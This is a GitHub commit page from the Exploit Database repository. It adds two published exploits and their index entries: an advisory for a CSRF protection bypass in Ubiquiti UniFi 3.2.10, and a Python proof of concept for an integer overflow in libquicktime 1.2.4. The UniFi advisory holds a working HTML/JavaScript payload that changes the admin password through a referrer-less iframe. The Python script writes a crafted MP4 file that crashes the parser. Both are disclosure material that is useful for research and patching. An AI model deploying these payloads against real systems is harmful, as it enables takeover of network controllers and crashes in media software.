Skip to content

Commit 4ffbeca

Browse files
author
Offensive Security
committed
DB: 2016-02-24
2 new exploits
1 parent f7b6199 commit 4ffbeca

3 files changed

Lines changed: 211 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35723,3 +35723,5 @@ id,file,description,date,author,platform,type,port
3572335723
39483,platforms/multiple/dos/39483.txt,"Wireshark - add_ff_vht_compressed_beamforming_report Static Out-of-Bounds Read",2016-02-22,"Google Security Research",multiple,dos,0
3572435724
39484,platforms/multiple/dos/39484.txt,"Wireshark - dissect_ber_set Static Out-of-Bounds Read",2016-02-22,"Google Security Research",multiple,dos,0
3572535725
39485,platforms/asp/webapps/39485.txt,"Thru Managed File Transfer Portal 9.0.2 - SQL Injection",2016-02-22,"SySS GmbH",asp,webapps,80
35726+
39487,platforms/multiple/dos/39487.py,"libquicktime 1.2.4 - Integer Overflow",2016-02-23,"Marco Romano",multiple,dos,0
35727+
39488,platforms/json/webapps/39488.txt,"Ubiquiti Networks UniFi 3.2.10 - CSRF Vulnerability",2016-02-23,"Julien Ahrens",json,webapps,8443

‎platforms/json/webapps/39488.txt‎

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
RCE Security Advisory
2+
https://www.rcesecurity.com
3+
4+
5+
1. ADVISORY INFORMATION
6+
-----------------------
7+
Product: Ubiquiti Networks UniFi
8+
Vendor URL: www.ubnt.com
9+
Type: Cross-Site Request Forgery [CWE-353]
10+
Date found: 2015-03-19
11+
Date published: 2016-02-23
12+
CVSSv3 Score: 6.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L)
13+
CVE: -
14+
15+
16+
2. CREDITS
17+
----------
18+
This vulnerability was discovered and researched by Julien Ahrens from
19+
RCE Security.
20+
21+
22+
3. VERSIONS AFFECTED
23+
--------------------
24+
UniFi v3.2.10
25+
older versions may be affected too.
26+
27+
28+
4. INTRODUCTION
29+
---------------
30+
The UniFi® Controller software is a powerful, enterprise wireless software
31+
engine ideal for high-density client deployments requiring low latency and
32+
high uptime performance. A single UniFi Controller running in the cloud
33+
can manage multiple sites: multiple, distributed deployments and
34+
multi-tenancy for managed service providers.
35+
36+
(from the vendor's homepage)
37+
38+
39+
5. VULNERABILITY DESCRIPTION
40+
----------------------------
41+
A generic Cross-Site Request Forgery protection bypass vulnerability was
42+
identified in UniFi v3.2.10 and prior.
43+
44+
The application uses a CSRF protection, which is based on verifying the
45+
Referer header, but does not catch the case where the Referer header
46+
is completely missing.
47+
48+
This leads to a generic CSRF protection bypass, resulting in all
49+
application specific functionalities becoming vulnerable. An attacker needs
50+
to trick the victim to visit an arbitrary website in order to exploit the
51+
vulnerability. Successful exploits can allow the attacker to compromise the
52+
whole application including connected devices, e.g. by changing passwords
53+
of users, adding new users, changing device usernames and passwords or by
54+
creating new WLAN configurations.
55+
56+
57+
6. PROOF-OF-CONCEPT
58+
-------------------
59+
The following PoC changes the password of the user "admin" to "csrfpwd":
60+
61+
<html>
62+
<head>
63+
<script>
64+
function load() {
65+
var postdata = '<form id=csrf method=POST enctype=\'text\/plain\' action=\'https://127.0.0.1:8443/api/s/default/cmd/sitemgr\'>' +
66+
'<input type=hidden name=\'json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40mail.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D\' value=\'\' />' +
67+
'</form>';
68+
top.frames[0].document.body.innerHTML=postdata;
69+
top.frames[0].document.getElementById('csrf').submit();
70+
}
71+
</script>
72+
</head>
73+
<body onload="load()">
74+
<iframe src="about:blank" id="noreferer">< /iframe>
75+
</body>
76+
</html>
77+
78+
79+
7. SOLUTION
80+
-----------
81+
Upgrade to UniFi v4.7.5 or later
82+
83+
84+
8. REPORT TIMELINE
85+
------------------
86+
2015-03-19: Discovery of the vulnerability
87+
2015-03-10: Reported via Ubiquiti's Bug Bounty program (hackerone.com)
88+
2015-06-02: Vendor apologizes his backlog
89+
2015-09-28: Asking for status update via HackerOne
90+
2015-09-28: Vendor asks to test against version 4.7.5
91+
2015-10-02: Verified working fix for v4.7.5
92+
2015-10-23: Vendor changes status to "Resolved"
93+
2015-11-24: Asking for coordinated disclosure via email
94+
2015-12-08: No response from vendor
95+
2015-12-08: Requested public disclosure on HackerOne
96+
2016-01-08: Report is published automatically
97+
2016-02-23: Advisory released
98+
99+
100+
9. REFERENCES
101+
-------------
102+
https://www.rcesecurity.com/2016/02/ubiquiti-bug-bounty-unifi-v3-2-10-generic-csrf-protection-bypass
103+
https://hackerone.com/reports/52635
104+

‎platforms/multiple/dos/39487.py‎

Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
#!/usr/bin/env python
2+
#
3+
###
4+
# - 7 February 2016 -
5+
# My last bug hunting session (*for fun and no-profit*)
6+
# has been dedicated to libquicktime
7+
###
8+
#
9+
# Author: Marco Romano - @nemux_ http://www.nemux.org
10+
# libquicktime 1.2.4 Integer Overflow
11+
#
12+
# Product Page: http://libquicktime.sourceforge.net/
13+
# Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow
14+
# Affected products: All products using libquicktime version <= 1.2.4
15+
#
16+
# CVE-ID: CVE-2016-2399
17+
#
18+
# Disclosure part: http://www.nemux.org
19+
#
20+
########
21+
####### Timeline
22+
#
23+
# 07 Feb 2016 Bug discovered
24+
# 17 Feb 2016 Mitre.org contacted
25+
# 17 Feb 2016 Disclosed to the project's maintainer
26+
# 23 Feb 2016 No response from the maintainer
27+
# 23 Feb 2016 Publicly disclosed
28+
#
29+
########
30+
####### References
31+
#
32+
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2399
33+
# http://libquicktime.sourceforge.net/
34+
# http://www.linuxfromscratch.org/blfs/view/svn/multimedia/libquicktime.html
35+
# https://en.wikipedia.org/wiki/QuickTime\_File\_Format
36+
#
37+
#######
38+
#
39+
# DISCLAIMER: It's just a PoC... it will crash something
40+
#
41+
####
42+
import sys
43+
import struct
44+
import binascii
45+
46+
"""
47+
There needs to be an mp4 file with these nested atoms to trigger the bug:
48+
moov -> trak -> mdia -> hdlr
49+
"""
50+
hax0r_mp4 = ("0000001C667479704141414100000300336770346D70343133677036000000086D646174000001B1"
51+
"6D6F6F76" #### moov atom
52+
"0000006C6D76686400000000CC1E6D6ECC1E6D6E000003E80000030200010000010000000000000000000000"
53+
"000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000000"
54+
"00000000000000000000000000000003000000FD756474610000001263707274000000000000FEFF0000000000126175"
55+
"7468000000000000FEFF0000000000127469746C000000000000FEFF00000000001264736370000000000000FEFF0000"
56+
"0000001270657266000000000000FEFF000000000012676E7265000000000000FEFF00000000001A72746E6700000000"
57+
"00000000000000000000FEFF000000000018636C7366000000000000000000000000FEFF00000000000F6B7977640000"
58+
"000055C400000000276C6F6369000000000000FEFF000000000000000000000000000000FEFF0000FEFF0000000000FF"
59+
"616C626D000000000000FEFF0000010000000E79727263000000000000000002E4"
60+
"7472616B" #### trak atom
61+
"0000005C746B686400000001CC1E6D6ECC1E6D6E00000001000000000000030000000000000000000000000001000000"
62+
"000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000040"
63+
"6D646961" #### mdia atom
64+
"000000206D64686400000000CC1E6D6ECC1E6D6E00003E800000300000000000000000"
65+
"4E" #### hdlr atom length
66+
"68646C72" #### hdlr atom
67+
"0000000000"
68+
"4141414141414141" #### our airstrip :)
69+
"0000000000000000000000"
70+
"EC" #### 236 > 127 <-- overflow here and a change in signedness too
71+
"616161000000FF736F756E000000000000000000000000536F756E6448616E646C6572000000012B6D696E6600000010")
72+
73+
hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4))
74+
75+
def createPoC():
76+
try:
77+
with open("./nemux.mp4","wb") as output:
78+
output.write(hax0r_mp4)
79+
print "[*] The PoC is done!"
80+
except Exception,e:
81+
print str(e)
82+
print "[*] mmmm!"
83+
84+
def usage():
85+
print "\nUsage? Run it -> " + sys.argv[0]
86+
print "this poc creates an mp4 file named nemux.mp4"
87+
print "--------------------------------------------"
88+
print "This dummy help? " + sys.argv[0] + " help\n"
89+
sys.exit()
90+
91+
if __name__ == "__main__":
92+
try:
93+
if len(sys.argv) == 2:
94+
usage()
95+
else:
96+
print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n"
97+
print "Author: Marco Romano - @nemux_ - http://www.nemux.org\n\n";
98+
createPoC();
99+
except Exception,e:
100+
print str(e)
101+
print "Ok... Something went wrong..."
102+
sys.exit()
103+
104+
105+

0 commit comments

Comments
 (0)